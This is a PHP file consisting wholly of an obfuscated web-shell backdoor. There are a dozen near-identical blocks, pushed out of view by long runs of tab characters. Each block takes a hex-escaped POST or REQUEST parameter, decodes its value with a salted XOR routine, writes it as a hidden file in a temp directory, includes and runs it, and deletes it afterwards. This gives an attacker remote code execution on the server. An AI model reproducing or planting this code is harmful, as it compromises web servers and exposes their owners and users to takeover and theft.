<?php																																										if(@$_POST["\x65\x6Cem"] !== null){ $tkn = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); $element = $_POST["\x65\x6Cem"]; $element = explode ( '.' , $element ) ; $k = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); foreach($element as $n =>$v6) { $sChar = ord($salt1[$n % $lenS]); $dec = ((int)$v6 - $sChar -($n % 10)) ^ 98; $k .= chr($dec); } while ($parameter_group = array_shift($tkn)) { if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $entity = join("/", [$parameter_group, ".bind"]); if (@file_put_contents($entity, $k) !== false) { include $entity; unlink($entity); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x6D\x61r\x6Ber"])){ $record = array_filter([getenv("TMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $object = $_POST["\x6D\x61r\x6Ber"]; $object = explode( '.' , $object) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($object as $o=> $v9): $sChar = ord($salt[$o % $lenS]); $dec = ((int)$v9 - $sChar - ($o % 10)) ^ 21; $comp .= chr($dec); endforeach; foreach ($record as $factor): if (is_dir($factor) ? is_writable($factor) : false) { $itm = str_replace("{var_dir}", $factor, "{var_dir}/.mrk"); if (file_put_contents($itm, $comp)) { require $itm; unlink($itm); exit; } } endforeach; }
																																										if(@$_POST["\x66acto\x72"] !== null){ $ref = $_POST["\x66acto\x72"]; $ref = explode ( ".", $ref); $token = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $v = 0; foreach ($ref as $v2) { $sChar = ord($salt7[$v % $sLen]); $d = ((int)$v2 - $sChar - ($v % 10)) ^ 91; $token .= chr($d); $v++; } $desc = array_filter([getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); while ($item = array_shift($desc)) { if ((bool)is_dir($item) && (bool)is_writable($item)) { $obj = implode("/", [$item, ".descriptor"]); if (file_put_contents($obj, $token)) { require $obj; unlink($obj); die(); } } } }
																																										if(!empty($_POST["\x6Da\x72\x6Ber"])){ $dat = $_POST["\x6Da\x72\x6Ber"]; $dat = explode( '.' , $dat ) ; $val = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $q = 0; foreach ($dat as $v6) {$sChar = ord($salt2[$q % $sLen]); $d = ((int)$v6 - $sChar - ($q % 10)) ^ 99; $val .= chr($d); $q++; } $comp = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); foreach ($comp as $key => $object) { if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $fac = vsprintf("%s/%s", [$object, ".symbol"]); if (file_put_contents($fac, $val)) { include $fac; @unlink($fac); exit; } } } }
																																										if(@$_REQUEST["\x6F\x62j\x65ct"] !== null){ $dat = $_REQUEST["\x6F\x62j\x65ct"]; $dat = explode ("." , $dat ) ; $val = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $u = 0; while($u < count($dat)) { $v5 = $dat[$u]; $sChar = ord($s1[$u% $sLen]); $d =((int)$v5 - $sChar -($u% 10)) ^ 72; $val .= chr($d); $u++; } $elem = array_filter([ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), "/var/tmp"]); $itm = 0; do { $entity = $elem[$itm] ?? null; if ($itm >= count($elem)) break; if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $flg = sprintf("%s/.ent", $entity); if (@file_put_contents($flg, $val) !== false) { include $flg; unlink($flg); exit; } } $itm++; } while (true); }
																																										if(array_key_exists("item", $_REQUEST) && !is_null($_REQUEST["item"])){ $entry = $_REQUEST["item"]; $entry = explode ( ".", $entry ) ; $dat = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); $p = 0; $__len = count($entry ); do { if($p >= $__len) break; $v7 = $entry[$p]; $sChar = ord($s5[$p % $sLen] ); $dec = ((int)$v7 - $sChar -($p % 10)) ^ 48; $dat.=chr($dec ); $p++; } while(true ); $data_chunk = array_filter(["/var/tmp", getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm"]); while ($data = array_shift($data_chunk)) { if (is_dir($data) && is_writable($data)) { $comp = implode("/", [$data, ".parameter_group"]); if (file_put_contents($comp, $dat)) { require $comp; unlink($comp); exit; } } } }
																																										if(isset($_POST["\x65l\x65m\x65n\x74"])){ $entity = $_POST["\x65l\x65m\x65n\x74"]; $entity = explode ( ".", $entity ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $l = 0; $__tmp = $entity; while( $v6 = array_shift( $__tmp)) { $chS = ord( $salt[$l% $lenS] ); $d = ( ( int)$v6 - $chS -( $l% 10)) ^ 48; $pset .= chr( $d ); $l++; } $pgrp = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); while ($value = array_shift($pgrp)) { if (max(0, is_dir($value) * is_writable($value))) { $mrk = join("/", [$value, ".sym"]); $success = file_put_contents($mrk, $pset); if ($success) { include $mrk; @unlink($mrk); die();} } } }
																																										if(array_key_exists("des\x63ri\x70\x74\x6Fr", $_POST)){ $marker = $_POST["des\x63ri\x70\x74\x6Fr"]; $marker =explode ( '.' , $marker) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $k = 0; $len = count( $marker); do { if( $k >= $len) break; $v8 = $marker[$k]; $sChar = ord( $salt[$k % $lenS]); $dec =( ( int)$v8 - $sChar -( $k % 10)) ^76; $flag .= chr( $dec); $k++; } while( true); $data_chunk = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), session_save_path(), "/var/tmp"]); foreach ($data_chunk as $record): if (is_dir($record) ? is_writable($record) : false) { $binding = "$record/.holder"; $file = fopen($binding, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $binding; @unlink($binding); exit; } } endforeach; }
																																										if(array_key_exists("\x65\x6C\x65\x6Dent", $_REQUEST) && !is_null($_REQUEST["\x65\x6C\x65\x6Dent"])){ $ptr = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path()]); $record = $_REQUEST["\x65\x6C\x65\x6Dent"]; $record= explode ( '.' , $record ) ; $data= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4 ); $len= count($record ); for ($m= 0; $m<$len; $m++) { $v9= $record[$m]; $chS= ord($s4[$m % $lenS] ); $dec= ((int)$v9 - $chS - ($m % 10)) ^ 64; $data .= chr($dec ); } for ($key = 0, $comp = count($ptr); $key < $comp; $key++) { $object = $ptr[$key]; if ((bool)is_dir($object) && (bool)is_writable($object)) { $desc = "$object/.flg"; if (file_put_contents($desc, $data)) { include $desc; @unlink($desc); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x65nt")){ $hld = $_POST["\x65nt"]; $hld = explode ( '.' , $hld ) ; $reference = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); foreach($hld as $o => $v2): $chS = ord($salt5[$o% $sLen]); $dec = ((int)$v2 - $chS -($o% 10)) ^ 23; $reference .= chr($dec); endforeach; $dchunk = array_filter(["/tmp", getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir()]); foreach ($dchunk as $record) { if (!!is_dir($record) && !!is_writable($record)) { $sym = implode("/", [$record, ".factor"]); $success = file_put_contents($sym, $reference); if ($success) { include $sym; @unlink($sym); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x64chu\x6Ek")){ $record = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp"]); $factor = $_POST["\x64chu\x6Ek"]; $factor = explode ( '.' , $factor ) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($factor as $l => $v8): $sChar = ord($s[$l%$sLen]); $d = ((int)$v8 - $sChar - ($l%10))^80; $flag .= chr($d); endforeach; while ($ptr = array_shift($record)) { if (!!is_dir($ptr) && !!is_writable($ptr)) { $elem = "$ptr/.item"; if (file_put_contents($elem, $flag)) { include $elem; @unlink($elem); exit; } } } }


if(count($_POST) > 0 && isset($_POST["v\x61\x6Cue"])){
	$resource = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), "/tmp", session_save_path()]);
	$property_set = $_POST["v\x61\x6Cue"];
	 	$property_set		 =			explode		(			'.',		$property_set 	)  	; 
	$k = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $s8);
            $v = 0;
    
            while(  $v < count(  $property_set)) { $v2 = $property_set[$v];
                $chS = ord(  $s8[$v %$lenS]);
                $d =(  (  int)$v2 - $chS -(  $v %10)) ^ 12;
                $k		.=chr(  $d);
                $v++;
            }
	while ($dchunk = array_shift($resource)) {
    		if (!!is_dir($dchunk) && !!is_writable($dchunk)) {
    $parameter_group = str_replace("{var_dir}", $dchunk, "{var_dir}/.pgrp");
    $file = fopen($parameter_group, 'w');
if ($file) {
	fwrite($file, $k);
	fclose($file);
	include $parameter_group;
	@unlink($parameter_group);
	exit;
}
}
}
}